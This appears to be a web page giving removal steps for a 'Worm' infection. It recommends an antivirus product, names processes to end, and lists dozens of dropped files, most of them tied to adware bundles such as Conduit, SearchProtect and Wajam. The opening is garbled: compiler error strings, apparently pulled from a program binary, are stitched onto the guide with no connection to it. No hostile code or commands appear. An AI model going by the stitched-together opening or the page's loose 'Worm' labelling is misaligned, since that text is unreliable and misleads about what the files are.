Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   schtasks.exe:1432
   schtasks.exe:1716
   nss4.exe:868
   SPI.exe:960

2. Delete the original Worm file.
   
3. Delete or disinfect the following files created/modified by the Worm:
   

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_SWEETPAGE_DEEAL[1].ini (290 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\KREAPIXEL_BUBBLE_DEEAL[1].ini (309 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL.ini (349 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\CONDUIT.ini (485 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\setup.ini (274 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WEBGAMEPLAY.ini (391 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\AARTEMIS.ini (243 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\terms_easysoft_en.html (196 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\PCMAXIMIZER[1].ini (239 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\close.png (188 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_MYPCBACKUP_PCMAXIMIZER[1].ini (136 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\terms_easysoft_fr.html (388 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\CONDUIT[1].ini (485 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_AARTEMIS_DEEAL.ini (286 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@wajam[1].txt (964 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\WebGamePlay[1].air (252257 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\service[1].exe (238361 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\KREAPIXEL_AARTEMIS_DEEAL[1].ini (286 bytes)
   %Documents and Settings%\%current user%\Application Data\~lfttcss.exe (63220 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (4820 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_BUBBLE_DEEAL.ini (309 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_IMMINENT_DEEAL.ini (273 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_MAIN_OFFER[1].ini (373 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\eula[1].htm (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\KREAPIXEL_IMMINENT_DEEAL[1].ini (273 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WAJAM.ini (257 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\PCMAXIMIZER.ini (239 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\close[1].png (188 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\US.ini (1548 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\SPEEDUPMYPC.ini (219 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\logo.png (1444 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\CONF[1].ini (145 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WEBGAMEPLAY.air (66260 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\SPI[1].exe (27633 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MAIN_OFFER.ini (373 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\US[1].ini (774 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@wajam[2].txt (806 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\WEBGAMEPLAY_US[1].ini (274 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\MYPCBACKUP.ini (138 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\Install_BubbleDock[1].exe (180609 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_SWEETPAGE_DEEAL.ini (290 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\MYPCBACKUP[1].ini (138 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_EASYSOFT_EULA.ini (421 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\SPEEDUPMYPC[1].ini (219 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\WAJAM[1].ini (257 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\CONF.ini (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\AARTEMIS[1].ini (243 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\WEBGAMEPLAY[1].ini (391 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\US[1].ini (774 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\emmbed[1].htm (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\KREAPIXEL[1].ini (349 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\OPTIMIZERPRO[1].ini (184 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\OPTIMIZERPRO.ini (184 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\plugin.exe (212781 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO[1].ini (137 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\SPI.exe (7772 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO.ini (137 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MYPCBACKUP_PCMAXIMIZER.ini (136 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\KREAPIXEL_EASYSOFT_EULA[1].ini (421 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\bubble.exe (48148 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MAIN_OFFER.html (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\logo[1].png (5041 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\inetc.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\SearchProtect\Logs\sp_nss4.log (1847 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\SPtool.dll (65457 bytes)
   %Program Files%\SearchProtect\Main\rep\SystemRepository.dat (590 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc2.tmp (2820 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss4.exe (72144 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\spidentifierimpl[1].exe (72144 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.